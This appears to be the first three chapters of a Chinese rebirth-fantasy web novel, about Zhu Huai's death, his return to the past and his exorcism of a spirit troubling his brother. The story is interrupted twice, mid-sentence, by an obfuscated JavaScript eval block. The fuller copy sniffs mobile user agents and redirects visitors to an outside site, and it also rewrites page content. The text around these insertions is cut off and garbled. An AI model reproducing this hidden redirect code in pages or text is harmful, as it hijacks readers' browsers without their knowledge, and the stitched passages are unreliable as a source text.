《被龙傲天强取豪夺多年后[重生]》 1. 重生 柳家祭神身死,被祭神豢养了五年的诸淮得以脱困,从柳家祖宅离开。 对于诸淮来说,这原本应该是一件大喜事:毕竟在外人看来,被囚困多年,失去自由,还要日日夜夜面对一位喜怒无常,独断专行的祭神是一件令人想想就无法忍受的事。 作为社畜的牛马都有双休日,但诸淮却只能一天24小时的待在柳家祖宅里,网线都是他来了之后才拉起来的。 在没有娱乐生活、没有自由,还要分出心力伺候那位祭神的日子里,诸淮唯一的休闲方式就是去祖宅里的大湖钓鱼。 诸淮认为自己是钓鱼奇才,百发百中,从未空军。直到他有一天忽然发现,实际上柳家祖宅里根本没有鱼,那些大鱼都是祭神从另外一个湖里捞过来,亲自挂上钩哄着他玩的。 难怪一旦那家伙生气了,诸淮哪怕蹲在湖口蹲上一天,也一条鱼都钓不上来。 堂堂一位祭神干出这些事来,也真是够小心眼的。 但现在,诸淮的契主柳相已经死了。 随着祂的死去,盘旋在祖宅上空的高大柳树也像是失去活力一般迅速枯萎,枝干凋零。 整个祖宅内的东西都在被慢慢清理出去,一位位柳家仆从将裂开的祭神神像抬走,换上新的神像。 柳相死了,新的祭神即将到来,除旧布新,改朝换代,柳相曾经留下的痕迹被慢慢清除,与祂有关的一切,自然也应该被驱逐出去。 但诸淮却被留了下来,有人要见他。 “你恨祂吗?”一个一头长发的男人坐在诸淮面前,用一种审视的目光打量着他,男人便是柳家新的祭神,也是取代柳相的存在,按照道理来说,祂看上去会是那个害死柳相的凶手。 柳家的祭神通常都为一头长发,祂们身型高大可怖,却都是实打实的美人皮,新祭神便长着一张令人惊艳的面孔,但诸淮望着这位祭神的目光却透着一丝说不出的古怪,诸淮说:“你就是这么跟你嫂子说话的?” 他的声音干脆清朗,反倒是把祭神呛了一跳,祂没有想到,这位祭妻的性格居然如此的……直爽。 “嫂子?你与柳相结契,倒也确实算是我的嫂子。”祭神笑了笑,祂说:“但祂现在已经死了。” “而你则是一位祭妻,你与我的相性相配,所以我这次前来,就是来继承祂留下的所有东西。” 祭神说着,祂的声音低沉,庞大的身躯在黑暗中隐隐透出一丝诡谲之感,但诸淮早已习惯跟柳相相处,面对这些古怪的怪物,他的样子看上去十分平静: “祂?祂有什么东西可以继承的,柳家并没有给祂什么东西,这个地方除了这片连鱼都钓不上来的大湖以外,就只有三年前刚拉起来的网线,这破地方连外卖都送不上来。” 听完他的话,祭神沉默了一瞬,祂说:“祂让你在祖宅神庙里拉网线,还给你点外卖?”祂在神庙两个字上加重了音量。 诸淮点了点头,他无比坦然地说:“是啊。” 柳遥:“……” 这姿态太过坦荡,以至于让柳遥无言以对,祂这时才后知后觉地意识到祂那位名义上的哥哥对自己的祭妻宠溺到了何种程度,但那个疯子会做出这种事情吗? 祭神的目光落到诸淮身上,这一眼,祂才像是看清了诸淮身上的痕迹似的,微微一讶。 每一位契灵与契子结契后,契子的身上都会出现属于契主的纹路,而纹路越深,则证明双方之间的契约越深,此时此刻的诸淮身上便浮现了大片大片的灵力纹路,那是普通人无法看见的东西,在祭神的眼中,那些痕迹如黑暗中的灯光一般耀眼清晰。 简而言之,祂快被闪瞎了。 诸淮伸出手端起茶小抿了一口,他的肤色惨白,却是病态的白,一截袖口滑落,露出小半截胳膊,他的脖颈与手臂上出现大片柳叶的纹路,即使他的契主已经死去,柳叶枯败,但那些独属于柳相的痕迹仍然如同跗骨之疽一般无法摆脱,死死缠绕在诸淮的身上。 那样深刻的烙印是无法用任何手段抹除的,仿佛即使柳相已经死去,也要执拗地将自己的痕迹留下诸淮的身上,至死不休。 柳遥的目光在那些痕迹上一扫而过,祂所注意到的重点却和常人不同,柳相已经死了,死人是胜不过活人的,但让柳遥感到意外的是,诸淮与柳相的契约已经深到了生死与共的程度。 在意识到这一点后,柳遥纵使想要做些什么也是无济于事:柳相与诸淮的生命已经彻底绑死在了一起,这位契妻的灵魂正在逐渐衰败下去,他很快就要死了。 想到这里,柳遥沉默了一瞬,祂说:“我来这里,是取回我的一切。” “柳家的祭神之位是我的,而留在这里的一切都应该属于我。” 柳遥说着,一根根藤蔓一般的触须从祂的发丝中流淌而出,似乎想要伸向诸淮,缠绕在他的身上,祂缓缓靠近诸淮,眼神落在诸淮那张俊美成熟,眼眸黑亮的脸上,他的身上有一股只有契主才能嗅闻到的气息,如同自然界中的信息素一般吸引着这些隐藏在人群中的怪物。 他闻起来真的很美味。 软而柔韧的柳根便要一圈圈地缠绕上来,却在颤紧那条手臂前被诸淮用力挣脱,诸淮垂下眼睛,并未掩饰自己的不快,他说:“管管你的头发,这就是你对待客人的方式吗?” 诸淮抬起脸,他的眼神锐利明亮,不明白这家伙到底想要做些什么。 柳遥的样子看上去怪怪的,祂该不会是想要继承上一任祭神的一切吧?诸淮这么想着,却忽然想到了自己:他不就是柳相留下的“物件”之一吗? 不好! 诸淮被自己心里的念头吓了一跳,他又抿了一口水,不知为何,在柳相死了之后,他的身体一天比一天疲惫,像是灵魂与意识缺失了一块,空缺的那一部分被抽走了,永远无法填补,灵魂也随之干枯,一点点地死去。 有时,他坐在这里,都浑浑噩噩的,感觉自己像是祖宅中的柳树,伴随着契主的死一同枯萎。 这一切都是因为柳相的死。 诸淮想,真麻烦啊……你死了,还不让我好过。 诸淮更讨厌柳相了。 如果祂还活着,那么诸淮一定要跟祂大吵一架。 诸淮仅仅出神了一瞬就回过神来,他对着柳遥说:“你已经成为了新的祭神,这里的一切本来就都属于你了,但你这次来找我,又是想要做些什么?” 他的语气平静,听不出有什么怨恨的情绪,柳遥笑了笑,祂意有所指地说:“柳相留下的东西不止这些。” 诸淮看了祂一眼,接着低声说起了什么,像是在自言自语,祭神能够轻易听见他说的话,柳遥听见诸淮居然在说:“玩嫂子是不好的陋习,祂可千万不要做出什么离经叛道的事啊。” 接着顿了顿,诸淮又对自己说:“别胡思乱想,你又不是人民币,没那么多人喜欢你。” 说完,诸淮像是说服了自己,他抬起脸,却看见柳遥轻轻勾起唇在笑,祂说:“你可真是有趣,只可惜契妻对于所有祭神来说,都是非常珍贵的存在。” 柳遥的声音像吟唱着一首古朴的歌谣,慢慢地流淌进诸淮的耳中: “只有契子才能为契主孕育子嗣,而契妻更是契子中最为稀少珍贵的存在,诸淮,没有人会猜到你竟是一位契妻,柳相将你藏了起来,可祂现在还是死了,若没有意外,你独自一人落进其他祭神的眼中,即使不被生吞活剥,也会被某位祭神强行掳走,变为被祂藏在祖宅中的私有物。” 诸淮的汗毛都立起来了,柳遥所说的话如此清晰、如此直白地指出诸淮未来唯一的命运:他从来都没得选。 诸淮皱起眉,听见柳遥又说:“但你要死了——而死人是没有任何价值的。” 明明是微嘲的声音,却反而让诸淮平静了下来,他这才意识到自己脊背发凉,因柳遥的话而出了浑身的冷汗,诸淮说:“我要死了?” 柳遥慢慢起身,房间内一道极为高挑的身影抬起身子,这位祭神竟有两米多高,诸淮坐在地上,甚至得微微抬起脸去仰望祂,柳遥的表情是模糊的,祂的眼神中带着一丝怜悯,祂说:“我不会赶你走,但你也不能再留在这里。” 祂的这番话便像是给诸淮的命运下了决断,像是诸淮在此刻失去了所有价值,契妻便是祭神的私有物,柳相死了,祂留下的妻子下场自然是好不到哪里去,柳遥是带着继承对方一切的目的来的,但到了这里之后祂才发现,诸淮快要死了。 诸淮倒是并未因这样的无情而有什么感受,这位旧神留下的契妻微微扬起下巴,面对死亡的威胁,他看上去居然是冷静的,诸淮笑着说:“那我还要谢谢你了?” 诸淮笑了一会,便将手中的茶杯放下,看上去颇为坦荡,他双目明亮有力,眼神始终坚定,透着一份探究,诸淮看着似乎已经达成目的想要离去的祭神,问出心中的唯一一个问题:“我想问你一件事。” 柳遥不知晓诸淮想要说些什么,祂听见诸淮直接了当地询问道:“柳相已经死了,我也要死了,所以我想知道一件事。”他垂下眼睛,手指用力握住茶杯,感受到细腻温凉的触感传来,这让他感到一丝冷,诸淮说:“是你杀了祂吗?” 他的话音落下,整个房间,乃至于整个世界似乎都在一瞬间变得死寂,连呼吸声都被某种力量压抑下去,柳遥带给诸淮的压力没有柳相那么恐怖,但祂仍然是极恐怖的存在,祭神本身便是不符合常理的东西。 诸淮的身体微颤,祭神的力量向他辗轧而来,但他仍然挺直了腰板,额头上渗出一片冷汗,不知是他这幅可怜的模样终于取悦了对方,亦或是他与柳相在柳遥眼中都是彻头彻尾的失败者,一片死寂中,柳遥的声音终于传来:“我曾经想过这么做。” 门口的风铃声微微一响,柳遥的身影却已经在房间内消失,诸淮吐出一口热气,他的身体更虚弱了,只能勉强撑起身体爬起来。 “真是吓人,这帮祭神都是一群怪物,刚刚差点以为要被祂捏死……不过,如果不是祂干的,那又是谁杀了柳相呢?” 这个问题一直在诸淮的脑中盘旋,他打开房门,一具冰冷的尸体被放置在中心的大床上,诸淮的手脚都因无力而发抖,他躺到床上,在尸体的怀抱中找了个位置躺下。 从柳相身上传来的气息笼罩着他,让这位失去契主的祭妻勉强感到一丝安慰,诸淮抚摸着柳相的脸,柳相的肌肤玉白,这是一张美得惊人的脸,却透出一股子的灰败之色,毕竟祂已经死了。 诸淮就这样蜷缩在祂的怀里,对柳相认真地说: “你这弟弟不是什么好东西。”诸淮说:“但祂看上去不屑于欺骗我,所以应该不是祂搞得鬼。” 诸淮的身上越来越冷,他继续说:“你们祭神都不是什么好东西,我第一次见到你的时候,你的脾气很差,还老是欺负我,幸亏我脾气好没跟你计较。” 诸淮说着说着像是想起了什么,他对着死去的柳相耳语,亲密无间,他接着说:“遇到你真是我这辈子最倒霉的事,不过柳相,我已经无处可去了,你死了,我还要跟着一起死,早知道这样,当初你还救我干什么。” 诸淮戳了戳柳相卷翘的睫毛,这是他早就想做的事,他就这样躺在这张床上,和早已死去的契主躺在一起,诸淮迷迷糊糊地睡了过去,脑中还在想着不着调的念头:都过了这么久,为什么柳相的尸体还没有腐烂?祂为什么抱着这么冷,柳遥说的是真的吗?那他是不是很快就要死了…… 这么想着,诸淮的脑中却没有多少恐惧,他就这样睡着了,夜深人静时,他却听见了奇异的声音:是有人翻过窗户进入了房间,并慢慢朝着他的方向走来。 诸淮的身边空无一人,他依偎在柳相的怀里,来者看着这一幕有些讶异,片刻后,对方像是在说:“是他吗?” “是他。” 简短的交流声后,一只手朝着诸淮的方向冲来,沉睡中的诸淮察觉到危险惊醒过来,却被死死扼住了喉咙,在濒死的处境下,他望见一双冰冷的、毫无人性的眼眸,在对方的眼中,他就像是一只小虫子,那只手扼住他的喉咙,像是从他身上慢慢夺走了什么东西。 诸淮不断地挣扎着,却只能一点点无力地低下脑袋,在生命的最后一刻,他看见这道身影居然也拥有祭神的力量,他的生命不断流失,他没有因契约而死,而是死在了一位不知名的祭神手上。 “诸淮。” “诸淮!” 清脆悦耳的声音传来,伴随着嗡嗡的轻响,像是有什么又小又毛茸茸的东西扇着翅膀,诸淮的身体昏昏沉沉,在梦中也皱着眉。 他不是已经死了吗? “诸淮,睁开眼睛,你已经死了。”耳边的声音让诸淮吓了一跳,他几乎是骤然睁开了眼,房间内的景象落入他的眼中,却不是柳家祖宅的风景,而是另外一个他曾经熟悉却早已离开的地方。 他还活着! 诸淮再一次听见脑中传来的嗡嗡声,他的脑中终于出现一道身影,那是一只肥嘟嘟、圆滚滚的胖蛾子,诸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这是一张极吸引人的面孔,诸淮从小就是人群中极为出众的存在,情人节时,他课桌里的巧克力向来是塞得最满的,只可惜诸淮脑子里的那根筋没长对,他转头就把那些巧克力做成甜品卖了,还额外赚了一小波钱。 别人谈恋爱的时候,他在想着怎么在课余时间替人跑腿赚钱,所幸诸淮从小便是个学霸,在周末上门做家教后,诸淮赚到的钱就越来越多,后来他意识到开网课的方便快捷,于是便开始在网上授课赚钱。 诸淮从小就是个很有主意的人,他也认为自己的生活会这样慢慢变好。 直到他教网课教到了自己亲生弟弟的头上——是的,诸淮其实不姓诸,而他本应该是顾家的真少爷,那个在豪门世家享受荣华富贵的顾少爷。 世界上最尴尬的事情,就是上门做家教,却教到了自己素未谋面的亲生弟弟头上。 往事不堪回首,顾家人的面孔在诸淮面前划过,却没有让他心中有所波动,在他的心里,那些“家人”并不是他的家人,诸淮从小便被父母遗弃,养他长大的是诸莫,他唯一的弟弟是诸柘,这些人跟他无关。 前世的诸淮在这个时候已经准备上门给他素未谋面的亲生弟弟做家教,然后在机缘巧合下上演一番认亲大戏,诸淮垂眸沉思,上一世的他并未多想,只认为这似乎确实是巧合,但在意识到顾家的真实面孔后,现在的诸淮有大概率确定,这出认亲戏码便是顾家所做的手段。 就算这真的只是巧合,诸淮也不打算重新回到顾家,恰在此时,诸淮收到了一个消息,是顾永怡询问他什么时候上门家教。 诸淮拿起手机,他干脆利落地选择了拒绝:【抱歉,这一周的课时临时取消。】 原本约定好的网课取消,顾永怡自然有些疑惑,片刻后,他才发来了询问的消息:【老师,你这是出了什么状况吗?我的课程才刚刚开始,我爸妈对家教很感兴趣,他们也想要见见你。】 诸淮垂眸思索,顾家人想要见他?他们这个时候已经盯上他了?诸淮仍然选择了拒绝,他并没有说谎,他现在确实有很多家事需要处理。 顾永怡似乎还发来了其他消息,诸淮却没有继续回复了,他站起身打开门,他的养父诸莫正好端着盘子走出来。 今天的晚餐是风味茄子、番茄炒蛋、松鼠鱼和炖猪蹄,还有一个清甜的冬瓜汤。 诸莫有一手好厨艺,那道风味茄子需要用油炸过,再二次复炸后逼出油水定型,再回锅复炒,吃起来香、酥、脆,外脆内嫩,诸淮很喜欢吃。 炖猪蹄软得用筷子一碰就会顺着骨头流淌下去,汤汁泛白,诸柘最喜欢喝汤,诸莫自己最好他的那道松鼠鱼,一家三口难得有空聚在一起,诸莫花了一番功夫才做了这些菜,他关火后扭头一看,对诸淮说: “你弟弟呢?” 诸淮用一种复杂的眼神看着他,那目光几乎是错愕的,诸莫被他看得十分茫然,鸡皮疙瘩几乎都要起来了,这眼神看上去怎么搞得像是在看什么还魂的死人似的……诸莫还没反应过来,就听见自己儿子用一种悲伤的语气说:“爸,你还活着!” 说完,诸淮就想要朝着诸莫走过去,然而迎接他的却是慈父手中的七匹狼。 “你这小子在胡说八道些什么?咒你老子死啊?” 诸莫“慈爱”地往诸淮头上拍了一巴掌,这让诸淮既怀念,又有一丝不知所措,因为前世的这个时候,诸莫已经因为车祸去世了。 无论这是谁做的,又是因为什么而发生了这种变化,诸淮都感激他让自己有重新见到家人的机会。 想到这里,他又去看自己脑中那只胖胖肥肥的大蛾子,诸淮忍住心中的激动,他对着殷泉说:“谢谢你,让我的父亲活了下来,让我拥有重来一次的机会。” 殷泉用爪子挠了挠自己的绒毛,他声音清脆的说:“你爸死了?不对,你爸还活着?” 在殷泉的口中,诸淮的父亲简直犹如仰卧起坐一般,在棺材里反复去世。 它的这幅样子让诸淮有些困惑起来,他听见殷泉又说:“不应该啊,我只救下了你,诸莫命中该有一劫的。” 诸淮:“这不是你做的?” 殷泉回过神来,它说:“我不知道发生了什么,但这是重生后的变化,我不知道是谁改变了你父亲的命运,这应该不是单纯的意外,凡人的命劫是难以改变的,能够做到这一点并帮助你的家人改变命运的存在很少。” 说着,殷泉取出一本小书翻看了起来,大蛾子有模有样地写着什么,诸淮若有所思,重生后发生的事实在太多,诸淮现在才有一丝真实感,他询问道:“爸,诸柘去哪了?我有话要对他说。” 他们正在聊天的时候,房门打开的声音传来,诸柘出现在诸淮的面前,他双目无神,眼底青黑,肤色惨白,用厚厚的化妆品遮盖,却还是盖不住眼中的疲惫之色。 他刚一出现,一股阴凉的气息便传了出来,那股气息很冷,却让诸淮有股莫名的熟悉感…… 诸淮眯起眼细细看去,却发现在此刻的诸柘身上,缭绕着一道道淡淡的黑气。 2. 诸柘 “诸柘的身上到底有什么东西?”看着那些黑气,诸淮眉头微锁,他脑中的殷泉听到他的话后抬头一看,细长的触须都被惊得炸开了:“woc,有鬼啊!” 诸淮:“……”他看着殷泉这幅样子,试探性地询问道:“你怕鬼吗?” 殷泉反应过来后才将炸开的绒毛收了回去,它说:“你弟弟的样子看上去不太好,你看见他身上的黑气了吗?” 诸淮点了点头,他自己也不知道自己为什么能够看见这些东西,即使曾经在柳家待了那么久,在祭神的身边隐隐知晓了许多离奇的事,但这不代表诸淮能够接受这种事情发生自己身边的人身上。 诸淮说:“那些东西是什么来历,这就是你要我做的任务?” 殷泉说:“对,你需要改变你自己的命运,这当然也包括你身边的人。” 这就是殷泉的目的?诸淮总感觉这件事并不是那么简单,只是现在更重要的是其他东西,殷泉接着说:“你不要小看这些任务,如果你再不处理,不仅你弟弟可能会出问题,这些东西还会影响到其他人……你弟弟现在就跟被鬼吸了阳气一样,他才十几岁,看样子却好像已经要半身入土了。” 它说得没错,诸柘的样子看上去简直就像是被工作完全榨干了的社畜似的,他就像是根风中摇曳的小稻草般摇摇欲坠,随时会咔嚓一下整段垮掉。 诸淮说:“为什么是我?” 殷泉捋着自己细腻的绒毛,它说:“因为你有这个能力。” 前世的诸淮可从未看见过这些东西,但他却仍然感觉非常熟悉,在柳家的神庙、在柳家的祭坛,在那位应该被他称为契主的祭神身边,他都能感受到这股极其阴冷的力量,它无处不在。 但诸柘身上的黑气却比柳相弱了太多,如果说柳相给诸淮的感觉是深渊一般无法探知的冰冷,那么诸柘身上的黑气就仿佛无根浮萍,后继无力,似乎很快便会消散。 这小子一定是在什么地方碰到了不该碰的东西,又或者是被某些人算计了。 诸淮说:“小柘,你这是怎么回事,又熬夜打游戏了?” 诸柘是一位小火的电竞选手,他去年就通过了青训,加入了职业队,是队里的骨力,这段时间是他备赛的重要阶段,但这几天,诸柘却总是魂不守舍,状态不佳的他在训练时连连出错,如果再这样下去,或许诸柘会失去这一次的出场机会。 他的队长再三叮嘱他要好好休息,不要给自己太大的压力,但诸柘却不知道该怎么对其他人说明自己的状况:他感觉自己浑浑噩噩,每一次睡着之后,总会听见自己的耳边仿佛响起了一个声音,而那个声音正对着他说些什么。 有那么几次,诸柘从梦中惊醒时,却会莫名的发现自己正站在其他队友的床前,亦或是走到了走廊上,再走一步就是高层楼梯。 诸柘惊出了浑身冷汗:只要再迈出一步,他就有可能跌落台阶! 这样的情况实在太诡异了,队长只能给诸柘放假,让他回去好好休息,但诸柘知道的是,如果他的状态还不能恢复,那么他或许就只能被迫退出这一次的赛事。 诸柘为了这一次的比赛付出太多,他不可能放弃,但他的身体状况却每况愈下,即使去了好几趟医院也无济于事,查不出什么精神上的问题。 诸柘几乎要被折磨疯了,他叹了口气,对诸淮说:“我这次是回家休息一段时间,我没事。” 这看上去可不像是没事的样子,诸淮说:“有什么事就跟我说,你现在这幅样子怎么能上比赛?” 诸柘疲惫地点了点头,他没有什么胃口吃饭,诸莫很担心他,但饭馆却打来了电话,有一桌客人闹事,非得吃诸莫做出来的东西。 他只能急匆匆地离开,有诸淮在,诸莫并不担心会发生什么大问题,这一次的发展和前世完全不同,那时的诸淮已经被顾家人软禁,父亲离去,诸淮又不在他的身边,再加上身上黑气的影响,诸柘精神恍惚下跌落台阶,他没有生命危险,右手却遭受重创,没有办法继续自己的职业生活了。 在队伍的骨干离开后,他的战队也输掉了比赛,败给了另外一支常年老二的对手。 但这一次,诸淮注定不会让前世的经历重演,他看着魂不守舍的诸柘,光是坐下吃口饭的工夫,这家伙就打了好几个哈欠。 诸淮说:“吃啊,你怎么不吃饭呢?还是说你吃不下?” 看着诸柘食不下咽的样子,诸淮倒是没有跟他客气,当着诸柘的面吃了大半的茄子,脆爽的声音传来,这茄子一点都不油,猪蹄汤更是泛着奶白色,芸豆被煨得软烂,已经化进了汤里,猪蹄更是一口脱骨。 诸淮一边吃还一边说:“这猪蹄的味道真不错,我已经好久没吃过老爸的手艺了。”这句话倒是不假,诸淮已经记不起早一次和家人团聚是什么时候了。 诸柘看得干瞪眼,他眼底下的青黑色更深了,看着自己最爱的猪蹄在眼前慢慢消失,他的眼中充满了悲伤和痛苦,诸柘说:“你给我留一口,你这混蛋。” 诸淮看了他一眼,嘴里还在继续吃着,可能是被自己可恶的哥哥刺激到了,他拿起筷子刚准备伸向猪蹄,手指就微微一抖,下一秒,诸柘便当着诸淮的面沉沉地睡了过去,他身上的黑气徘徊着,诸淮看着这一幕有些警惕起来,而他没有想到的是,昏睡的诸柘竟然慢慢站了起来,他的眼睛沉沉地闭着,诸柘低着头,接着便转身朝着某个方向走去。 “你要去哪里?”诸淮放下筷子,他将诸柘拉住,观察着他此时的状况,诸柘的嘴唇张了张,他像是在低低念着什么话,他的声音极低,一个字一个字慢慢地从口中崩出,在牙关中咀嚼一番后才吐了出来。 诸柘似乎一直在重复着几个字,诸淮凑过去听,在慢慢靠近的时候,才终于听见诸柘口中吐出的两个字:“我饿了。” 诸淮愣了一瞬,他站直身,看着自己的弟弟梦游一般不停重复着那三个字,房间内安静下来,冰冷的凉意在诸淮身边扩散开来,温度不断降低,无形之中,诸淮甚至隐隐能够听见模糊的、不属于诸柘的声音在不停呢喃着什么,诸柘转过身便要离开,他走进厨房,却是想要从厨房里拿出什么东西…… “啪”地一下,诸淮伸出手,他面无表情地一巴掌拍在诸柘的头上,而在诸柘的手中,正握着一把程亮的菜刀。 “他这是鬼上身了不成?”诸淮的语气很镇定,对于他来说,现在的场面并不算太过诡异。 然而他脑中的毛绒蛾子已经抖成了筛糠,它趴在地上,声音有些抖:“应该不是吧?我们要相信科学。” 一只蛾子居然在跟他说这番话,诸淮说:“你还信这些东西啊?我以为你就是这里最不科学的东西了。” 在他们交流的时候,诸柘的身体已经发起抖来,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177647|180795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被什么东西控制了一般,手中紧紧握着那把菜刀,诸淮眼疾手快地将刀夺了,又将诸柘强硬地拽出了厨房,中途的诸柘像是还要反抗,但或许是诸淮身上的气息让他感到十分舒服,诸柘颤抖了一小会时间,最终还是决定跟着诸淮离开。 诸淮有些头疼,此时的诸柘确确实实失去了意识,但梦游中的他却会做出一些无法预料的事,诸淮不知道诸柘做了什么,但若是他在睡梦中会梦游,那么梦中的诸柘或许会毫无意识地走到熟睡的队友身前,而他的手里,却有可能会握着一把锋利的菜刀。 “这小子不会在梦里把其他人当食材砍了吧?”诸淮说着,询问殷泉应该怎么处理,他倒是也曾经看见过柳相处理过一些诡异的东西,但曾经的诸淮看不见那些东西,柳相也不会让他接触到那些事。 殷泉说:“他这种情况还是得靠你来,你先叫醒他。” 诸淮惊讶了一瞬,便很快冷静下来:“我会的。” 殷泉点了点头,下一秒,它便从自己的绒毛里翻出了一个小本本,一道符文出现在诸淮的脑中,他的手指抬起,在诸柘的身上画了个符,这是他第一次做这种事,也不知为何,一股莫名的灵力从他的四肢百骸内流出,他的手臂上慢慢浮现柳树的纹路,比起前世的他来说,这些纹路变得浅了许多,却还是在他的身上慢慢扩散开来,肆无忌惮地霸占那些白皙的肌肤。 诸淮似乎并未意识到这件事,他只感到自己画符的动作一开始十分艰难,后来却在慢慢变得顺畅,像是有什么属于他的力量正在发挥作用,当这道符画完的那一刻,诸柘原本有些狰狞的面孔终于冷静下来,他身上的黑气消散开来,像是被某种东西强行压制了下去,诸柘的身体一抖,像是失去力气一般重重倒在了床上。 他的呼吸平缓下来,身体也彻底放松,像是终于做了一个好梦,诸淮看着这一幕替他盖好被子,他从小便担负起照顾弟弟的责任,即使知道他是收养的,诸柘和他的关系依旧很好,诸柘一直十分依赖他,于情于理,诸淮也不想看见自己的弟弟出事。 “就这么简单?”虽然这么说,但诸淮却是松了口气:“我该不会是什么绝世奇才吧?还是说只是因为这个任务本身就很简单?” 这么说着,诸柘的任务却没有结束,殷泉声音清脆地说:“那是当然,你可是契妻,我这一次让你重生,就是为了改变你的命运,让你升职加薪,从此走上人生巅峰!” 说着,殷泉的语气还越来越激动起来:“放心吧,我一定会让你成为最强大的契妻!让你摆脱天煞孤星的早夭命格,治愈你羸弱无力的身体!” 诸淮沉默了一瞬,他的语气忽然变得狐疑起来:“……早夭?” “我会早夭?但我现在已经二十多岁了?你的意思是我之后还有可能出事吗?什么是天煞孤星?我从小到大都健健康康的很,我的体格是家里最健壮的,每次马拉松的时候,我都是第一名。” 诸淮非常震惊,因为殷泉说的天煞孤星、早夭孱弱的那个人跟他毫无关联,他甚至觉得殷泉是找错人了,然而让诸淮感到毛骨悚然的是,听到他的话后,殷泉居然拧了拧屁股,接着瓮声瓮气地说:“你在说什么啊,我刚刚没有说过那些话。” “你居然还能装失忆的吗?”诸淮忍不住说道,殷泉扇了扇翅膀,趴在自己的小床上,它哼哼唧唧地说:“你听错了,你什么都没听见。” 3. 晦暗的过去 “你好像知道很多事情,我们现在算是合作关系,也许你可以跟我说说你的来历。” 殷泉自觉自己说错了话后,就怎么也不肯再说一个字了。 “是你现在还不能说,还是你不愿意说?” 肥蛾子趴在它的小床上哼哼唧唧,看着那邪恶的大屁股,诸淮没有忍住,在殷泉的蛾肚上狠狠摸了两下。 蛾子扬起触须,大声叫嚷了起来,它显得那样不可置信,但诸淮没有再搭理那嗡嗡的叫声,而是直接退了出去,他感觉到殷泉似乎在隐瞒一些事情。 它来历不明,却实实在在地救下了诸淮,所以诸淮相信它,至于其他事情,就得在之后的相处中慢慢挖掘。 从某种角度来说,诸淮的性格是宽容且豁达的,他知恩图报,并且对帮助过自己的人有着一份信任,若他不是这样的个性,他也无法在那座柳家祖宅内活下来,并且与柳相相处那么久。 那家伙的脾性,可比诸淮所见过的任何人都要恶劣太多,即使柳相后来在他面前收敛了一些,但诸淮也仍然知晓祂的本性。 想到这里,诸淮叹了口气:“既然这样,那就等你哪一天能说了再告诉我吧。” 被摸了蛾肚的殷泉用力梳理自己的绒毛,把杂乱的蛾毛梳理整洁,它也担心诸淮会刨根问底,这倒不是因为它畏惧什么,而是有些东西现在不好解释,太麻烦了。 大蛾子重新趴在小床上:“你是唯一一个没有刨根问底,追着我问个明白的宿主,就好像我心怀不轨似的,我不会伤害你的。” 诸淮笑了一声:“宿主?” “是啊,我还是第一次来到这个世界,我们蛾子是背负着重大使命的存在,你可不要小看我啊。” 诸淮说:“我不会那么做的。”毕竟这只蛾子这么肥,就是想要忽视它,也没有办法无视它的体型啊。 “你这人还挺不错的。” 不知晓人类心思的蛾子对诸淮生出了一丝好感,它最讨厌那些麻烦的宿主了,诸淮的性格简单直接,正对它的胃口,如果换成不听话的宿主,殷泉还要想办法让他们变得听话,这也太为难蛾子了:“也难怪你是柳相的灵魂伴侣,这世上也只有你能受得了祂的脾气。” 它似乎极其了解诸淮与柳相的关系,甚至知晓他们是灵魂伴侣,诸淮垂下眼睛,他脸上笑容依旧,灵魂伴侣?柳相也曾经和他说过这句话,在他们初次相遇的时候,那位栖息在祖宅最深处的祭神,便一眼看见了诸淮的身影。 重生之后,诸淮一直没有去想过柳相,又或者说是他在努力避免自己去想祂。 诸淮说:“听这语气,你似乎对祂有所偏见。” “这怎么能是偏见呢!”小肥蛾子抬起脑袋,它认真地说:“你不知晓这个世界的危险度,其他蛾子都不愿意来这里,只有我倒霉的接了这个任务,唉,跟你也说不明白,祂是你的契主,你肯定会袒护祂。” 在蛾子的语气中,柳相几乎是人嫌狗厌、极度危险,危险到令其他蛾子都不愿意接触,没有一只飞蛾愿意前来这个世界的存在。 诸淮有些惊讶这些蛾子对于柳相的了解,他心中为殷泉的运气感到叹息,但嘴上却说: “你怎么能用这样偏见的目光去看待祂呢?” 诸淮昧着自己的良心说:“其实祂人还挺好的。” 殷泉支起身子看着诸淮,片刻后,诸淮居然从那双圆眼珠子里看出了一丝鄙夷的感觉,像是在说:你看我像傻蛾子吗? “有的时候不能用偏见来看待一个人,祂会变成那副样子,或许另有隐情。” 天色渐黑,和殷泉聊了这么一会,太阳已经完全落山了,诸淮去看了诸柘一样,见他仍然躺在床上睡得正香,诸淮便没有再去打扰他。 只是……诸柘身上的黑气消散了,但为什么任务还没有完成呢? 想到诸柘刚刚做出的举动,为了保险起见,诸淮从储物室里取出了绳子,将诸柘绑在了床上。 诸柘好几天都没有睡过觉,此时睡得跟死狗一般,诸淮将他五花大绑都没有任何反应。 今晚如果一切安好的话,诸淮自然会来帮他解绑,诸淮可不想半夜睡觉的时候看见自己弟弟拿着一把菜刀站在他的床头,他拍了拍诸柘的头发,还替他重新盖好了被子。 殷泉看着这一幕,被这样简单粗暴直接的操作弄得说不出话来,高,实在是高! 处理完了这一切后,诸淮这才回到了自己的房间,他给诸莫打了几个电话才拨通,诸莫的声音传来,背景音热火朝天,看样子他似乎在后厨忙得离不开身,诸莫说:“喂?小淮,我今天暂时回不去了,饭店里实在太忙了。” “好。” 诸淮答应地很痛快,诸莫的话正合他意,毕竟他也不知道该怎么跟诸莫解释诸柘为什么被五花大绑的按在床上的事,诸莫所在的饭馆口碑很好,并且会有宵夜档,他夜不归宿是常有的事。 只是这一次的情况似乎有些不同,诸莫在另外一头有些奇怪地说:“今天晚上也不知道是怎么回事,前台一直在点菜,有一位客人说自己是大胃王,开了几个小时的直播,你猜猜她吃了多少东西?” “大胃王?” 